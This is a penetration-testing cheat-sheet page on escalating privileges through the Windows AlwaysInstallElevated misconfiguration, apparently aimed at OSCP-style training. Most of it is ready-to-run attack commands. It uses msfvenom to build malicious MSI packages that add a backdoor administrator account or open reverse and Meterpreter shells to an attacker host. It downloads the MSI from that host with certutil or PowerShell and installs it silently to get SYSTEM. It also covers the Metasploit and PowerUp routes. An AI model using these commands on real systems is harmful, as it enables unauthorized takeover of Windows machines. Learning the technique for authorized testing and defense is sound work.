# AlwaysInstallElevated – MSI Installer Privilege Escalation

> Exploits misconfigured AlwaysInstallElevated registry keys to run malicious MSI packages with SYSTEM privileges on Windows hosts.

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/alwaysinstallelevated
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-07-10

`AlwaysInstallElevated` is a Windows policy that allows unprivileged users to install MSI packages with SYSTEM privileges. When both the machine and user registry keys are set to `1`, any user can run an MSI file that executes as SYSTEM. This is a straightforward misconfiguration: confirm both keys, generate a malicious MSI, install it.

- Confirm both HKLM and HKCU registry keys are set to `1`
- Generate a malicious MSI with msfvenom or PowerUp
- Install the MSI as the current user to get SYSTEM execution

## AlwaysInstallElevated Privilege Escalation Check

**Both registry keys must be set to 1: check both:**

```bash
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

Both must return `0x1`. If either is missing or `0x0`, the policy is not active and this technique does not apply.

**Using PowerUp:**

```powershell
Import-Module .\PowerUp.ps1
Get-RegistryAlwaysInstallElevated
```

**winPEAS also checks this automatically:**

```bash
.\winpeas.exe | findstr /i "AlwaysInstallElevated"
```

## Step 1: Generate a Malicious MSI

**Add admin user (no listener required):**

```bash
msfvenom -p windows/x64/exec CMD="net user hacker Password123! /add && net localgroup administrators hacker /add" -f msi -o privesc.msi
```

**Reverse shell:**

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi -o shell.msi
```

**Meterpreter:**

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi -o meter.msi
```

## Step 2: Transfer the MSI to Target

```bash
certutil -urlcache -split -f http://$LHOST:8080/privesc.msi C:\Windows\Temp\privesc.msi
```

Or via PowerShell:

```powershell
(New-Object Net.WebClient).DownloadFile("http://$LHOST:8080/privesc.msi", "C:\Windows\Temp\privesc.msi")
```

## Step 3: Install the MSI

Start your listener if using a reverse shell:

```bash
nc -lvnp $LPORT
```

Install the MSI as the current unprivileged user: it automatically elevates to SYSTEM:

```bash
msiexec /quiet /qn /i C:\Windows\Temp\privesc.msi
```

`/quiet` suppresses the UAC prompt. `/qn` means no UI. The MSI installs as SYSTEM due to the policy.

## Step 4: Verify

If you used the add-user payload:

```bash
net user hacker
net localgroup administrators
```

Authenticate as the new admin:

```bash
runas /user:hacker cmd.exe
```

## Using Metasploit

> [!WARNING]
> This may be restricted in exams such as OSCP. Verify exam rules before use.

```bash
use exploit/windows/local/always_install_elevated
set SESSION 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST $LHOST
run
```

## PowerUp One-Step Exploitation

```powershell
Import-Module .\PowerUp.ps1

# Write a malicious MSI (adds local admin user) and install it
Write-UserAddMSI
```

## Cleanup

Remove the MSI and the added user after escalating:

```bash
del C:\Windows\Temp\privesc.msi
net user hacker /delete
```

## References

- [AlwaysInstallElevated](https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated) - Microsoft Docs Policy description and registry key locations.
- [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) - Get-RegistryAlwaysInstallElevated Automated detection and exploitation via Write-UserAddMSI.